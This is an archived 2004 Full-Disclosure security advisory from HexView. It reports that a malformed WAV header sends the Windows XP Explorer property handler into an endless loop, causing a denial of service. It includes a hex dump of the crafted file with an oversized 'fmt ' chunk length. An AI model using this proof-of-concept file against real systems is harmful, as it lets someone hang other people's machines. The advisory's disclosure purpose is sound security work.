

[HV-LOW] Unsafe WAV header handling can cause DoS on Windows

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-10/0932.html>

vuln_at_hexview.com

Date: 10/22/04

Date: Thu, 21 Oct 2004 16:47:16 -0700

To: full-disclosure@lists.netsys.com

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Unsafe WAV header handling can cause DoS on Windows

Classification:

=====

Level: [LOW]-med-high-crit

ID: HEXVIEW*2004*10*21*1

URL: <http://www.hexview.com/docs/20041021-1.txt>

Overview:

=====

A specially crafted WAV file can cause WAV file property handler to consume all available CPU resources on Windows XP

Affected products:

=====

All tests were performed on the up-to-date version of Windows XP SP1 with all the latest patches and Windows Media Player 10 installed.

Cause and Effect:

=====

Insufficient data validation for WAV file headers causes explorer to enter an endless loop where it infinitely reads the WAV file.

Demonstration:

=====

Below is an invalid WAV file header. Length of the "fmt " chunk is set to 0xFFFFFFFF (offset 0x10) The usual length of "fmt " chunk is 0x12 bytes. Windows Explorer property handler thread will enter endless loop trying to read the file.

```
00000000 52 49 46 46 42 D0 01 00 57 41 56 45 66 6D 74 20 RIFFB...WAVEfmt
00000010 FF FF FF FF 01 00 02 00 22 56 00 00 88 58 01 00 .....V...X..
```

Full-Disclosure: [HV-LOW] Unsafe WAV header handling can cause DoS on Windows

00000020 04 00 10 00 00 00 66 61 63 74 04 00 00 00 04 74fact.....t
00000030 00 00 64 61 74 61 10 D0 01 00 ..data....

Vendor Status:

=====

Vendor has been notified on 2004-10-20. No response received.

About HexView:

=====

HexView contributes to online security-related lists for almost a decade. The scope of our expertise spreads over Windows, Linux, Sun, MacOS platforms, network applications, and embedded devices. The chances are you read our advisories or disclosures. For more information visit <http://www.hexview.com>

Distribution:

=====

This document may be freely distributed through any channels as long as the contents are kept unmodified. Commercial use of the information in the document is not allowed without written permission from HexView signed by our pgp key.

HexView Disclosure Policy:

=====

HexView notifies vendors that have publicly available contact e-mail 24 hours before disclosing any information to the public. If we are unable to find vendor's e-mail address or if no reply is received within 24 hours, HexView will publish vulnerability notification including all technical details unless the issue is rated as "critical". If vendor does not reply within 72 hours, HexView may disclose all details for critical vulnerabilities as well.

If vendor replies within the above mentioned time period, HexView will announce the vulnerability, but will not disclose the details required to reproduce it. HexView will also specify the date when full disclosure containing all the details will be published. The time period between announcement and full disclosure is 30 days unless there is an agreement with vendor and appropriate justification for extension. If vendor resolves the issue earlier than 30 days after announcement, HexView will publish full disclosure as soon as the fix is available to the public.

HexView also reserves the right to publish any detail of any vulnerability at any time.

Feedback and comments:

=====

Feedback and questions about this disclosure are welcome at vtalk@hexview.com

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.2.5 (GNU/Linux)

Full-Disclosure: [HV-LOW] Unsafe WAV header handling can cause DoS on Windows

iD8DBQFBeEITDPV1+KQrDqQRAgIJAJ96resu9CmYbyLhuArc3cTYMY30QCfYvzi
D2OuDef6rkqXo1DDqiFIsHI=
=AFK/
-----END PGP SIGNATURE-----